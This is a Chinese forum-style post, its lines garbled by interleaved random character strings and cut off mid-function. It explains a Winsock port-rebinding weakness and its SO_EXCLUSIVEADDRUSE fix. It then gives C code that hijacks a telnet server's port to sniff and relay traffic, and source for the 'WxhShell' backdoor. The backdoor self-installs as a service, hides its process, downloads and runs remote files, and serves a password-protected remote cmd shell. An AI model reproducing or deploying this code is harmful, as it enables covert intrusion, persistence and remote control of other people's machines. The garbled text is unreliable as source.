在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
C>~TI,5a3 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
*kVV+H<X|b &R siVBA saddr.sin_family = AF_INET;
eq" ]%s 2Hdu:"j saddr.sin_addr.s_addr = htonl(INADDR_ANY);
I|J/F}@p qNr}
\J| bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
&?vgP!d&M <or2 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
TKjFp% V,9cl,z+ 这意味着什么?意味着可以进行如下的攻击:
7rPF$ \# +)?J#g 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
]HdCt 3X d"NLE'R 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
)jC%a6G! f X)#=c|5 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
iO[<1? [:V$y1 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
f-2c0Bi b6 M 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
iI>A *,{,` Wl Sm 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
??T#QQ akT6^cP^ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
y==CTY@ kW (Bkuc) #include
s{" 2L{,$ #include
+"6`q;p3) #include
W%)Y#C #include
;6wA" DWORD WINAPI ClientThread(LPVOID lpParam);
g ci int main()
]:f%l
mEy {
&=Wlaa/,& WORD wVersionRequested;
Z<phcqEi8 DWORD ret;
7)k\{&+P WSADATA wsaData;
-(#iIgmP BOOL val;
q]M0md SOCKADDR_IN saddr;
_[y/Y\{I SOCKADDR_IN scaddr;
h}EPnC} int err;
{GO#.P" SOCKET s;
^I)N. 5 SOCKET sc;
PuO&wI]: int caddsize;
\15nSB HANDLE mt;
V_:&S2j DWORD tid;
`KQvJjA6 wVersionRequested = MAKEWORD( 2, 2 );
eIo7F m err = WSAStartup( wVersionRequested, &wsaData );
F/A|(AH' if ( err != 0 ) {
F\KUZ[% printf("error!WSAStartup failed!\n");
+U.I( 83F return -1;
9I/N4sou }
+@:x!q|^ saddr.sin_family = AF_INET;
h=%_Ao<x "}JZU!? //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
<rmvcim{* V/;B3t~f saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
i@BtM9: saddr.sin_port = htons(23);
O<e{ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
4,0{7MLgK {
B~du-Z22IZ printf("error!socket failed!\n");
`V3Fx{
return -1;
hiw|2Y&` }
pU7lnS[ val = TRUE;
Zr,VR-kW+ //SO_REUSEADDR选项就是可以实现端口重绑定的
(Clkv if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
e NafpK {
|B2+{@R printf("error!setsockopt failed!\n");
)tnh4WMh} return -1;
A_#DJJMm }
WSY}d
Vr //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
UOmY-\ &c //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
6B
?twh) //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
tlt*fH$. "v4B5:bmqW if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
:<#nTh_@\' {
g|Fn7]G ret=GetLastError();
XEZF{lP printf("error!bind failed!\n");
D{~fDRR return -1;
g
SAt@2*U2 }
q8Z<{#oXu listen(s,2);
ohGfp9H while(1)
M+9 gL3W {
R+,u^;\ caddsize = sizeof(scaddr);
Q&|\r //接受连接请求
}XM(:|8J, sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
q=qcm`ce if(sc!=INVALID_SOCKET)
=+?7''{> {
5j-YM mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
.Twk {p if(mt==NULL)
_W'-+, {
S+ ^E. printf("Thread Creat Failed!\n");
_aMPa+D=P break;
yD6[\'% }
{LQ#y/H? }
0|\$Vp CloseHandle(mt);
}t1a*z }
yw3$2EW closesocket(s);
fCobzDy
WSACleanup();
3%;a)c;D return 0;
%zw1}|s#z }
%(G* , DWORD WINAPI ClientThread(LPVOID lpParam)
M*HnM( {
@\P;W(m.i SOCKET ss = (SOCKET)lpParam;
do+.aOC SOCKET sc;
@w !PaP unsigned char buf[4096];
9lH?-~9 SOCKADDR_IN saddr;
JOLaP@IPT long num;
Q=20IQp DWORD val;
&wE%<"aRAl DWORD ret;
zb<6
Ov //如果是隐藏端口应用的话,可以在此处加一些判断
YgV817OV //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
/U)D5ot< saddr.sin_family = AF_INET;
O,h ;hQZ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
dg"3rs /?A saddr.sin_port = htons(23);
zY!j:FT1HY if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
^ tg<K {
O[)kboY printf("error!socket failed!\n");
o;R2p $ return -1;
.:QLk&a,:, }
hP)LY=-2 val = 100;
0C6-GKbZ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
.KUv(- {
1gy.8i ret = GetLastError();
4 bH^":i( return -1;
~C`^6UQr/? }
os={PQRD if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
)MchsuF< {
>P@H#= ret = GetLastError();
~`\?"s: return -1;
B1C-J/J }
c>Xs&_ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
C$D-Pt"+ {
4f'V8|QM{ printf("error!socket connect failed!\n");
_JE"{ ; closesocket(sc);
s`'{I8'p/ closesocket(ss);
A.F738Zp{Z return -1;
OAkZKG| }
j4`0hnqI while(1)
q~ZNd3O {
\GZM&Zd //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
[8,yF
D_U //如果是嗅探内容的话,可以再此处进行内容分析和记录
#32"=MfQn //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
I3mGo num = recv(ss,buf,4096,0);
R:k5QD9/&p if(num>0)
|>27B send(sc,buf,num,0);
v+`N*\J_ else if(num==0)
D \sWZ break;
<_tT<5'[$u num = recv(sc,buf,4096,0);
Md2>3- if(num>0)
lWc:$qnR-K send(ss,buf,num,0);
(>GK\=:< else if(num==0)
]<pjXVRt" break;
&<J[Q%2 }
S=nzw-(I closesocket(ss);
A1#%`^W9 closesocket(sc);
`_{`l4i5 return 0 ;
lBTmx(_}}r }
U($dx.`v# O0No'LVu @$c\dvO ==========================================================
V<@ o<R 5v}8org 下边附上一个代码,,WXhSHELL
"xHg qgFyO b7tOo7a H) ==========================================================
:Q_<Z@2Y{ (%xwl #include "stdafx.h"
,%Up0Rr, okv 1K #include <stdio.h>
;Tc`}2 #include <string.h>
rT5Ycm@ #include <windows.h>
0B@Jity#! #include <winsock2.h>
lh D,\3/O #include <winsvc.h>
O1*NzY0Y%- #include <urlmon.h>
D]~MC W.0L:3<" #pragma comment (lib, "Ws2_32.lib")
iN0nw]_* #pragma comment (lib, "urlmon.lib")
),!;| bh LLXVNO@e+ #define MAX_USER 100 // 最大客户端连接数
'07P&g- #define BUF_SOCK 200 // sock buffer
D{d>5P?W #define KEY_BUFF 255 // 输入 buffer
eI:C{0p= GJp85B!PlO #define REBOOT 0 // 重启
FMkzrs #define SHUTDOWN 1 // 关机
.]7Qu;L A\#P*+k 0 #define DEF_PORT 5000 // 监听端口
Y> Wu /2Bi@syxK #define REG_LEN 16 // 注册表键长度
{aJJ`t #define SVC_LEN 80 // NT服务名长度
)}'U`'q 'ao"9-c // 从dll定义API
z,bQQ;z9 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
Eb>78k(3I) typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
\qR %%S typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
[.*;6y3 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
VZ](uF BY TdGnf // wxhshell配置信息
|7pR)KH3 struct WSCFG {
e$uiJNS2 int ws_port; // 监听端口
PF7&p~O(Z char ws_passstr[REG_LEN]; // 口令
9Xo[(h)5d int ws_autoins; // 安装标记, 1=yes 0=no
3^~KB'RZ char ws_regname[REG_LEN]; // 注册表键名
Gkxj?)` char ws_svcname[REG_LEN]; // 服务名
n[,w f9 char ws_svcdisp[SVC_LEN]; // 服务显示名
p6XtTx char ws_svcdesc[SVC_LEN]; // 服务描述信息
A4?+T+#d char ws_passmsg[SVC_LEN]; // 密码输入提示信息
U}l14 int ws_downexe; // 下载执行标记, 1=yes 0=no
?EK?b
s char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
P7f,OY<@%o char ws_filenam[SVC_LEN]; // 下载后保存的文件名
D.6,VY H la?Wnw };
)Cw `"n OOz[-j>'Y+ // default Wxhshell configuration
V$rlA'+1v struct WSCFG wscfg={DEF_PORT,
.*JA!B "xuhuanlingzhe",
%9#gB 1,
}Lw>I94e "Wxhshell",
wgRsZ "Wxhshell",
r]Ff{la5 "WxhShell Service",
A?T<",bO "Wrsky Windows CmdShell Service",
e<#DdpX!H~ "Please Input Your Password: ",
z5X~3s\dP 1,
1uk0d`JL "
http://www.wrsky.com/wxhshell.exe",
xN@Pz)yo "Wxhshell.exe"
34R!x6W0 };
1I}b|6
` FHPXu59u // 消息定义模块
b]JI@=s? char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
\rV
B5|D? char *msg_ws_prompt="\n\r? for help\n\r#>";
q(5+xSg"gK char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
A[YpcG'9 char *msg_ws_ext="\n\rExit.";
PSmfiaThwo char *msg_ws_end="\n\rQuit.";
ez9k4IO char *msg_ws_boot="\n\rReboot...";
ec|/ / char *msg_ws_poff="\n\rShutdown...";
Px>va01n char *msg_ws_down="\n\rSave to ";
TV}}dw .\qj;20W char *msg_ws_err="\n\rErr!";
WWZ9._ char *msg_ws_ok="\n\rOK!";
0J8K9rP;z <d7V<&@o= char ExeFile[MAX_PATH];
qJ_1*!!91 int nUser = 0;
Bz`yfl2 HANDLE handles[MAX_USER];
l**;k+hw int OsIsNt;
V=:_ d, $,hwU3RVxc SERVICE_STATUS serviceStatus;
"XLe3n SERVICE_STATUS_HANDLE hServiceStatusHandle;
rB%$;<`/ d'9:$!oz // 函数声明
t%r :4, int Install(void);
O8N[Jl int Uninstall(void);
v}v 5 int DownloadFile(char *sURL, SOCKET wsh);
)hj|{h7 int Boot(int flag);
L {ymI)Y^ void HideProc(void);
vY*\R0/a int GetOsVer(void);
yO>V/5` int Wxhshell(SOCKET wsl);
Q:|w%L*E
void TalkWithClient(void *cs);
; W7Y2Md int CmdShell(SOCKET sock);
L6i|:D32p int StartFromService(void);
sst,dA V$ int StartWxhshell(LPSTR lpCmdLine);
uC]Z8&+obb C6&( c VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
G7* h{nE VOID WINAPI NTServiceHandler( DWORD fdwControl );
I2HT2c$ \`xkp[C // 数据结构和表定义
cVq}c? SERVICE_TABLE_ENTRY DispatchTable[] =
\`,xgC9K {
B">yKB:D}t {wscfg.ws_svcname, NTServiceMain},
X^@[G8v% {NULL, NULL}
\T-~JQVj };
|[cdri^?D q3'o|pp // 自我安装
2go> int Install(void)
| D.C!/69 {
p`+VrcCBOd char svExeFile[MAX_PATH];
xT F=Y_ HKEY key;
PtKTm\,JL0 strcpy(svExeFile,ExeFile);
=V^@%YIn MPRO
!45Z // 如果是win9x系统,修改注册表设为自启动
a`Z{
xme= if(!OsIsNt) {
%3a|<6 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
$ehg@WK}. RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
wTpD1"_R RegCloseKey(key);
S>ugRasZ$ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
*PM}"s RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
GzdgL"M[ RegCloseKey(key);
&P n] return 0;
,sb1"^Wc }
Rk<%r k }
{~GR8
U }
i@$-0%, else {
1| xN%27> V8'`nuC+ // 如果是NT以上系统,安装为系统服务
~5t?C<wo SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
$ly0h W if (schSCManager!=0)
: z~!p~ {
{of]/3= SC_HANDLE schService = CreateService
J#7(]!;F (
:k1$g+(lP schSCManager,
,z66bnjO wscfg.ws_svcname,
5L&:_iQZy wscfg.ws_svcdisp,
KF{a$d SERVICE_ALL_ACCESS,
BQ#jwu0e SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
{Nq?#%vdT SERVICE_AUTO_START,
oO:LG%q SERVICE_ERROR_NORMAL,
$'$>UFR svExeFile,
YY!!<2_ NULL,
@Qo,p NULL,
6`"ZsO NULL,
MxN]7 NULL,
zH+<bEo=1= NULL
j_pw^I$C );
apaIJ+^[ if (schService!=0)
p#M!S2&z {
K.h]JD]o CloseServiceHandle(schService);
/'Bdq?!B& CloseServiceHandle(schSCManager);
6 ">oo- strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
0=,'{Vz}A strcat(svExeFile,wscfg.ws_svcname);
d
H_2o if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
S&|VkZR) RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
g*r/u; RegCloseKey(key);
36i_D6 return 0;
u-M] Az- }
Fc{((x s }
sbjtL, CloseServiceHandle(schSCManager);
0nT%Slbih }
1Q_ ``.M }
;q&Z9lm D`fc7m return 1;
wL'C1Vr }
;.r2$/E iDR6?f P // 自我卸载
R]VTV7D int Uninstall(void)
[Z% l. {
FP@A;/c HKEY key;
_3zU,qm+ aKD;1|) if(!OsIsNt) {
Xi*SDy if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
z}mvX.j7 RegDeleteValue(key,wscfg.ws_regname);
.^GFy RegCloseKey(key);
r"1A`89 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
T*p|'Q` RegDeleteValue(key,wscfg.ws_regname);
U!_sh< RegCloseKey(key);
|H<|{{E return 0;
}7&\eV{qU }
hX %s]" }
$TFTIk*uU }
hxP6C6S else {
0ZFB4GL 6WCmp,* SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
4g S[D if (schSCManager!=0)
IS .g);Gj {
i~(#S8U4d SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
DwT i_8m; if (schService!=0)
-wBnwn- {
Y]?Kqc if(DeleteService(schService)!=0) {
yi&?d&rK CloseServiceHandle(schService);
kzW\z4f CloseServiceHandle(schSCManager);
dzpj9[ return 0;
d!w1t=2H }
'wegipK~R CloseServiceHandle(schService);
2c!h2$w }
%!>k#F^S CloseServiceHandle(schSCManager);
,&-S?| }
wYC9~ms- }
u2f `|+1^y 5
1v r^ return 1;
U[blq
M }
cF-Jc}h p, !1 3X // 从指定url下载文件
;>cLbjD int DownloadFile(char *sURL, SOCKET wsh)
"[FCQ {
1VRqz5 HRESULT hr;
k0gJ('zah char seps[]= "/";
B b$S^F(Xq char *token;
_a?wf!4>P char *file;
tzx:* char myURL[MAX_PATH];
r[Z g 2 char myFILE[MAX_PATH];
Xcs8zT kO
/~i strcpy(myURL,sURL);
IEKMa token=strtok(myURL,seps);
+#&el// while(token!=NULL)
?*B;514 {
qb#V) file=token;
I8XGU) token=strtok(NULL,seps);
*Cc$eR]- }
_Y}^%eFw 7{?lEQ&UE GetCurrentDirectory(MAX_PATH,myFILE);
][s*~VK; strcat(myFILE, "\\");
>$d d9|[ strcat(myFILE, file);
}W^V^i ) send(wsh,myFILE,strlen(myFILE),0);
D/+@d:- G send(wsh,"...",3,0);
%Z-Tb OX hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
UMnR=~. if(hr==S_OK)
V>~*]N^f return 0;
@]}Qh;a~ else
?S;et2f return 1;
2gK p\! V}3~7( }
rd f85%%7 O&gy( // 系统电源模块
*,Aa9wa{ int Boot(int flag)
*X"F: 7 {
|\yDgs%EGy HANDLE hToken;
+'{:zN5m TOKEN_PRIVILEGES tkp;
\!?
PhNv FQv02V+&< if(OsIsNt) {
o
=jX OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
dNS9<8JX LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
OP\^c tkp.PrivilegeCount = 1;
m-&a~l tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
j$JV(fz AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
0^|$cvYiL if(flag==REBOOT) {
'RN"yMv7l if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
Hf`&& return 0;
A=l?IC@O }
noD7G2o else {
g
tSHy*3] if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
Xj(k(>7V return 0;
+L<w."WG }
pB{ f-M:D }
+LU ). else {
eQ4B5B%j/x if(flag==REBOOT) {
~"hAb2 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
0[3tW[j return 0;
! a8h }
$;g%S0:3) else {
4'u|L&ow if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
'TEwU0<% return 0;
YP@?j }
V0wC@? }
}9fV[zO S7\jR%pb return 1;
o::ymAj }
{pi67"mYp 8Gzs // win9x进程隐藏模块
H#d! ` void HideProc(void)
\H'CFAuF {
OYCFx2{ !&:.Uh HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
S4AB tKG if ( hKernel != NULL )
-2mOgv {
N"Nd $4 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
>0G}, S ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
E*#60z7F FreeLibrary(hKernel);
)SZ,J-H08w }
mfi'>o# ^IegR> return;
d3q/mg 5a }
d~oWu [F* LZ<(:S // 获取操作系统版本
1x5CsmS int GetOsVer(void)
#esu@kMU` {
X0J]6|du. OSVERSIONINFO winfo;
7|?@\ZE winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
GA@Q:n8UuR GetVersionEx(&winfo);
|"(3]f\ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
g 0_r return 1;
-O q=J; else
y8 u)Q return 0;
,'0oj$~S: }
.A f)y_ fP4IOlHkE // 客户端句柄模块
^)K[1]"uM int Wxhshell(SOCKET wsl)
}qX&*DU_@ {
?;kc%Rz SOCKET wsh;
#1lS\! struct sockaddr_in client;
LR?#H)$ DWORD myID;
,Onm!LI= 9w<_XXQ while(nUser<MAX_USER)
%3B>1h9N {
?;QKe0I^ int nSize=sizeof(client);
aNEy1-/(\ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
&:{yf= if(wsh==INVALID_SOCKET) return 1;
o sH,(\4_ OnPLz"- handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
!ZcALtq if(handles[nUser]==0)
w%u[~T7OI closesocket(wsh);
cB'4{R@e else
-]MP,P% nUser++;
JO$]t|I }
g5HqU2 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
5?Ao9Q]@ K&oO+ G^f return 0;
]$*_2V3VA$ }
r_CN/ a zL{@LHP // 关闭 socket
h$h`XBVZe; void CloseIt(SOCKET wsh)
Q%h
o[KU {
J(*"S!q)6 closesocket(wsh);
U?C{.@#w nUser--;
=!Cvu.~}, ExitThread(0);
<]`2H}*U' }
aM1JG$+7 G YZJP7nN // 客户端请求句柄
+\m!#CSA void TalkWithClient(void *cs)
2UJ0%k {
'0?E|B]Cp% M:M<bz Vu SOCKET wsh=(SOCKET)cs;
D1/$pA+B char pwd[SVC_LEN];
cK/odOi char cmd[KEY_BUFF];
sZ$ ~abX char chr[1];
L zy|<:K+$ int i,j;
c9={~ 5jk4k c while (nUser < MAX_USER) {
_P+|tW1 0:S)2"I58p if(wscfg.ws_passstr) {
Fje%hcV if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
D/>5\da+y //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
s2kynQ#a //ZeroMemory(pwd,KEY_BUFF);
|U0@(H
i=0;
8h2?Q while(i<SVC_LEN) {
zW.sXV, 6<6_W# // 设置超时
~;` #{$/C& fd_set FdRead;
n&JP/P3Y struct timeval TimeOut;
|-<L :% FD_ZERO(&FdRead);
~:Nyv+g,$ FD_SET(wsh,&FdRead);
_FgeE`X TimeOut.tv_sec=8;
@x4Dt&:" TimeOut.tv_usec=0;
[?2mt`g int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
QI<3N if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
W=:+f)D a#=-Aj- if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
9x\G(w pwd
=chr[0]; .(ir2g
if(chr[0]==0xd || chr[0]==0xa) { zq&lxySa
pwd=0; $%'z/'o!
break; p
IToy;]
} Y@eUvz
i++; %{"STbO #>
} 6iC:l%|u
Yn/-m
Z
// 如果是非法用户,关闭 socket g11K?3*%Q
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Tc:`TE=2
} m` cG&Ar5
?9cy5z[
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); xl$ Qw'
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +l\Dp
`1gsrHi4N
while(1) { ~c"c9s+o
th{h)( +H
ZeroMemory(cmd,KEY_BUFF); 4(]k=c1<
Z "u/8
// 自动支持客户端 telnet标准 5ZLH=8L
j=0; T7`Jtqf
while(j<KEY_BUFF) { Rx.0P6s
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); V'B 6C#jT
cmd[j]=chr[0]; @B6[RZ R
if(chr[0]==0xa || chr[0]==0xd) { *0@e_h
cmd[j]=0; HO>uS>+
break; R0WJdW#
} ~JJv 2
j++;
<_~`)t
} LCtm@oN
'Tn$lh
// 下载文件 _kSus
if(strstr(cmd,"http://")) { i \~4W$4I
send(wsh,msg_ws_down,strlen(msg_ws_down),0); e M}Xn^}
if(DownloadFile(cmd,wsh)) ofJ@\xS
send(wsh,msg_ws_err,strlen(msg_ws_err),0); sx;1V{|g
else 4{V=X3,x
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qXW5_iX
} B!Y;VdX
else { Rs dACP
dFlx6H+R!0
switch(cmd[0]) { 01J.XfCd6
X!m/I
i$q
// 帮助 4D8q Gti
case '?': { L(L;z'3y
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +.=a
R<Q
break; |b@-1
} u}$?r\H'(
// 安装 %}@^[E)
case 'i': { =8]'/b
if(Install()) +ad 2
send(wsh,msg_ws_err,strlen(msg_ws_err),0); g#e"BBm=A
else 4H'9y3dk
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1t6UI4U!$
break; qz 'a.]{=
} Gc>\L3u
// 卸载 c7'Pzb)'
case 'r': { 3E#acnqn*
if(Uninstall()) G 2mv6xK'
send(wsh,msg_ws_err,strlen(msg_ws_err),0); &{$\]sv
else )|:|.`H
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B;EdLs}
break; 8u>E(Vmpu
} f@yST z;u
// 显示 wxhshell 所在路径 ?O.&=im_
case 'p': { BQm H9g|2
char svExeFile[MAX_PATH]; yCwQ0|
strcpy(svExeFile,"\n\r"); +s`n]1HC
strcat(svExeFile,ExeFile); T^"d%au
send(wsh,svExeFile,strlen(svExeFile),0); >4;A(s`
break; s3q65%D
} zU(U^
// 重启 vJYy` k^Y
case 'b': { )J0'We
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); $v+g3+7
if(Boot(REBOOT)) vsc&$r3!5{
send(wsh,msg_ws_err,strlen(msg_ws_err),0); rK];2[U
else { f F?=W
closesocket(wsh); :z.<||T
ExitThread(0); }lhJt|q c
} hd\iW7
break; Tmq:,.^}
} &DgIykqN
// 关机 @L`t/OD
case 'd': { GX\/2P7CZ
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {<bByHT!
if(Boot(SHUTDOWN))
D9JT)a
send(wsh,msg_ws_err,strlen(msg_ws_err),0); #\w~(Nm-
else { Dk:Zeo]+my
closesocket(wsh); N1_nBQF )
ExitThread(0); Q&yfl
} e KET8v[
break; f ^z7K
} Uc\\..Cf
// 获取shell \07
s'W U
case 's': { UA}k"uM
CmdShell(wsh); Aj-}G^>#
closesocket(wsh); w+ bMDp
ExitThread(0); .I[uXd
break; }56"4/ Z
} zf#V89!]C"
// 退出 HnrT;!C~
case 'x': { v]c1|?9p'
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .BZw7
YV
CloseIt(wsh); W&)OiZN
break; ?:~ `?
} J7$5<
// 离开 Bx2E9/S3
case 'q': { tPc '#.
send(wsh,msg_ws_end,strlen(msg_ws_end),0); B$aboL2
closesocket(wsh); (',G
Ako
WSACleanup(); W.{#Pg1Da
exit(1); ^2XoYgv
break; P6dIU/w
} + ,0RrD )
} -fn["R]
} Xfk&{zO-j
5Tkh6 s
// 提示信息 Ggsfr;m\`
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &$|k<{j[<f
} s9zdg"c'
} P8piXG
BB>3Kj:|
return; "EDn;l-Q
} 3L/>=I{5
OANn!nZ.
// shell模块句柄 3;@t{rIin
int CmdShell(SOCKET sock) x4Y+?2
{ [?yOJU%`
STARTUPINFO si; G/bWn@
ZeroMemory(&si,sizeof(si)); >n{(2bcFs
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Rq<T2}K
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; :;#Kg_bz
PROCESS_INFORMATION ProcessInfo; s+$l.aIO!
char cmdline[]="cmd"; /)e&4.6
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); T1LtO O
return 0; 1ki##v[ W8
} fYl$$.
?x%HQ2`
// 自身启动模式 "n=`{~F
int StartFromService(void) L Lm{:T7
{ !Z`~=n3bk
typedef struct OXK?R\ E+
{ O
sbY}*S
DWORD ExitStatus; >| rID
DWORD PebBaseAddress; 3 8m5&5)1F
DWORD AffinityMask; GTyS8`5E*
DWORD BasePriority; u yzc"di
ULONG UniqueProcessId; 'RC(ss1G
ULONG InheritedFromUniqueProcessId; A\CtM`
} PROCESS_BASIC_INFORMATION; eo24I0`N
x;?4A J{
